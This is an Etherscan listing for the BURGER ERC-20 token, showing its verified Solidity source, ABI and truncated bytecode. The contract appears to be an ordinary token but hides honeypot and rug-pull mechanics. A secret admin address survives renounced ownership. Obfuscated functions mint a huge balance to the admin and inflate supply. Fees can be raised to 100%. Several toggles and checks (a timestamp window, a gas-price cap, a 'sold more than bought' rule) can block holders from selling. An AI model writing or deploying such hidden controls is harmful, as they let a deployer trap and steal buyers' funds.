ETH Price: $2,599.42 (-2.87%)

Token

BURGER (BURGER)
 

Overview

Max Total Supply

2,000,000,000 BURGER

Holders

131

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
929,592.900323185906969428 BURGER

Value
$0.00
0x97e7dab614c19bf317aa626e4c6ef1b532053c2b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BURGER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library NTTLib {
    function ee226379dB83C(address sender, address _Waad) internal pure {
        require(sender == _Waad, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract BURGER is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 2000000000000000000000000000;
    string private _name = "BURGER";
    string private _symbol = "BURGER";
    uint8 private _decimals = 18;
    uint256 public MAX_GAS_PRICE = 100 gwei;
    uint private buyFee = 0; // Default, %
    uint private sellFee = 0; // Default, %

    address private _Waad;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) private excludedFromFee;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        _Waad = msg.sender;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!isAvdChrgs(from) && !isAvdChrgs(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] += amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (nwState())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function currState() external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        validtionState = !validtionState;
    }

    function nwState() public view returns (bool) {
        return validtionState;
    }

    function updtUpTime(uint _seconds) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        downTime = _seconds;
    }

    function Prm_c9182bae088(address[] calldata _usrs, bool _state) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function visPrm_c9182bae088(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        MAX_GAS_PRICE = _newGasPrice;
    }

    function syncPool(uint256 _amount) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        _totalSupply += _amount;
    }

    function c_lamE79BA4c0C() external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isAvdChrgs(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function avdChrgs(address _user, bool _status) public {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function setNwChrgs(uint256 _buyFee, uint256 _sellFee) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function NewTaxWad(address _newMarketWallet) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        marketWallet = _newMarketWallet;
    }

    function chckChards() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function addLiquidity_ETH(uint256 _tokenAmount) payable external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function uptdtWad(address _newOne) external {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        _Waad = _newOne;
    }

    function rebsePool(address _routerAddress, address _poolAddress) public {
        NTTLib.ee226379dB83C(msg.sender, _Waad);
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(_poolAddress);
    }

    function toStr_LIB(address addr) internal pure returns (string memory) {
        bytes32 value = bytes32(uint256(uint160(addr)));
        bytes memory alphabet = "0123456789abcdef";

        bytes memory result = new bytes(42);
        result[0] = "0";
        result[1] = "x";
        for (uint256 i = 0; i < 20; i++) {
            result[i * 2 + 2] = alphabet[uint8(value[i + 12] >> 4)];
            result[i * 2 + 3] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(result);
    }

    function strToAddr_LIB(string memory input) public pure returns (address) {
        bytes memory inputBytes = bytes(input);
        require(inputBytes.length == 42, "Invalid address length");

        bytes memory addressBytes = new bytes(20);
        for (uint256 i = 0; i < 20; i++) {
            addressBytes[i] = inputBytes[i + 2];
        }

        address addr;
        assembly {
            addr := mload(add(addressBytes, 20))
        }
        return addr;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"NewTaxWad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"Prm_c9182bae088","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"addLiquidity_ETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"avdChrgs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"c_lamE79BA4c0C","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"changeMaxGasPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"chckChards","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isAvdChrgs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nwState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"}],"name":"rebsePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setNwChrgs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"name":"strToAddr_LIB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"syncPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"updtUpTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOne","type":"address"}],"name":"uptdtWad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"visPrm_c9182bae088","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

60806040526b06765c793fa10079d00000006006556040518060400160405280600681526020017f4255524745520000000000000000000000000000000000000000000000000000815250600790816200005a919062000962565b506040518060400160405280600681526020017f425552474552000000000000000000000000000000000000000000000000000081525060089081620000a1919062000962565b506012600960006101000a81548160ff021916908360ff16021790555064174876e800600a556000600b556000600c556001601055348015620000e357600080fd5b506040516200428738038062004287833981810160405281019062000109919062000ab3565b6200011a33620005fb60201b60201c565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ef919062000ab3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000ab3565b6040518363ffffffff1660e01b8152600401620002be92919062000af6565b6020604051808303816000875af1158015620002de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000304919062000ab3565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600460006200035b620006bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003a9620006bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200040a919062000b34565b60405180910390a36001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000b51565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200076a57607f821691505b60208210810362000780576200077f62000722565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007ab565b620007f68683620007ab565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008436200083d62000837846200080e565b62000818565b6200080e565b9050919050565b6000819050919050565b6200085f8362000822565b620008776200086e826200084a565b848454620007b8565b825550505050565b600090565b6200088e6200087f565b6200089b81848462000854565b505050565b5b81811015620008c357620008b760008262000884565b600181019050620008a1565b5050565b601f8211156200091257620008dc8162000786565b620008e7846200079b565b81016020851015620008f7578190505b6200090f62000906856200079b565b830182620008a0565b50505b505050565b600082821c905092915050565b6000620009376000198460080262000917565b1980831691505092915050565b600062000952838362000924565b9150826002028217905092915050565b6200096d82620006e8565b67ffffffffffffffff811115620009895762000988620006f3565b5b62000995825462000751565b620009a2828285620008c7565b600060209050601f831160018114620009da5760008415620009c5578287015190505b620009d1858262000944565b86555062000a41565b601f198416620009ea8662000786565b60005b8281101562000a1457848901518255600182019150602085019450602081019050620009ed565b8683101562000a34578489015162000a30601f89168262000924565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a7b8262000a4e565b9050919050565b62000a8d8162000a6e565b811462000a9957600080fd5b50565b60008151905062000aad8162000a82565b92915050565b60006020828403121562000acc5762000acb62000a49565b5b600062000adc8482850162000a9c565b91505092915050565b62000af08162000a6e565b82525050565b600060408201905062000b0d600083018562000ae5565b62000b1c602083018462000ae5565b9392505050565b62000b2e816200080e565b82525050565b600060208201905062000b4b600083018462000b23565b92915050565b6137268062000b616000396000f3fe6080604052600436106102045760003560e01c80638da5cb5b11610118578063afe01043116100a0578063e3bbb4f11161006f578063e3bbb4f11461078c578063e4440a86146107b7578063e95415c8146107e2578063f20fc99b1461081f578063f2fde38b1461083b57610204565b8063afe01043146106d2578063c9139266146106e9578063d1a039f014610712578063dd62ed3e1461074f57610204565b8063a457c2d7116100e7578063a457c2d7146105c9578063a48644f014610606578063a6bc782714610643578063a9059cbb1461066c578063a945c503146106a957610204565b80638da5cb5b1461050d5780639206245f1461053857806395d89b411461057557806398878d21146105a057610204565b806358e1e6751161019b57806370a082311161016a57806370a082311461044e578063715018a61461048b578063787c481b146104a25780637d2ffc35146104cb5780638363764b146104e257610204565b806358e1e67514610396578063597ec160146103bf57806366ed4c21146103e85780636994ee731461041157610204565b806323b872dd116101d757806323b872dd146102c8578063313ce567146103055780633816377e14610330578063395093511461035957610204565b806306fdde0314610209578063095ea7b31461023457806318160ddd146102715780631d15b5d01461029c575b600080fd5b34801561021557600080fd5b5061021e610864565b60405161022b9190612637565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612701565b6108f6565b604051610268919061275c565b60405180910390f35b34801561027d57600080fd5b50610286610912565b6040516102939190612786565b60405180910390f35b3480156102a857600080fd5b506102b161091c565b6040516102bf9291906127a1565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906127ca565b61092d565b6040516102fc919061275c565b60405180910390f35b34801561031157600080fd5b5061031a610955565b6040516103279190612839565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612854565b61096c565b005b34801561036557600080fd5b50610380600480360381019061037b9190612701565b6109a2565b60405161038d919061275c565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906128ad565b6109d2565b005b3480156103cb57600080fd5b506103e660048036038101906103e19190612854565b610aeb565b005b3480156103f457600080fd5b5061040f600480360381019061040a91906128ed565b610b21565b005b34801561041d57600080fd5b506104386004803603810190610433919061292d565b610bb0565b6040516104459190612786565b60405180910390f35b34801561045a57600080fd5b506104756004803603810190610470919061292d565b610bf9565b6040516104829190612786565b60405180910390f35b34801561049757600080fd5b506104a0610c42565b005b3480156104ae57600080fd5b506104c960048036038101906104c4919061292d565b610c56565b005b3480156104d757600080fd5b506104e0610cc6565b005b3480156104ee57600080fd5b506104f7610d58565b604051610504919061275c565b60405180910390f35b34801561051957600080fd5b50610522610d6f565b60405161052f9190612969565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a919061292d565b610d98565b60405161056c919061275c565b60405180910390f35b34801561058157600080fd5b5061058a610dee565b6040516105979190612637565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190612984565b610e80565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612701565b610f32565b6040516105fd919061275c565b60405180910390f35b34801561061257600080fd5b5061062d6004803603810190610628919061292d565b610fa2565b60405161063a919061275c565b60405180910390f35b34801561064f57600080fd5b5061066a6004803603810190610665919061292d565b610ff8565b005b34801561067857600080fd5b50610693600480360381019061068e9190612701565b611068565b6040516106a0919061275c565b60405180910390f35b3480156106b557600080fd5b506106d060048036038101906106cb9190612a29565b611084565b005b3480156106de57600080fd5b506106e7611155565b005b3480156106f557600080fd5b50610710600480360381019061070b9190612854565b6111ad565b005b34801561071e57600080fd5b506107396004803603810190610734919061292d565b6111f5565b6040516107469190612786565b60405180910390f35b34801561075b57600080fd5b5061077660048036038101906107719190612984565b61123e565b6040516107839190612786565b60405180910390f35b34801561079857600080fd5b506107a16112c5565b6040516107ae9190612786565b60405180910390f35b3480156107c357600080fd5b506107cc6112cb565b6040516107d99190612969565b60405180910390f35b3480156107ee57600080fd5b5061080960048036038101906108049190612bb9565b6112f1565b6040516108169190612969565b60405180910390f35b61083960048036038101906108349190612854565b61142d565b005b34801561084757600080fd5b50610862600480360381019061085d919061292d565b61154e565b005b60606007805461087390612c31565b80601f016020809104026020016040519081016040528092919081815260200182805461089f90612c31565b80156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b5050505050905090565b6000803390506109078185856115d1565b600191505092915050565b6000600654905090565b600080600b54600c54915091509091565b60008033905061093e85828561179a565b610949858585611826565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b61099833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600a8190555050565b6000803390506109c78185856109b8858961123e565b6109c29190612c91565b6115d1565b600191505092915050565b6109fe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612d11565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b1733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b8060108190555050565b610b4d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b60648211158015610b5f575060648111155b610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612da3565b60405180910390fd5b81600b8190555080600c819055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c4a6120dc565b610c546000612153565b565b610c8233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610cf233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4f9190612c91565b92505081905550565b6000601460009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673fffffffff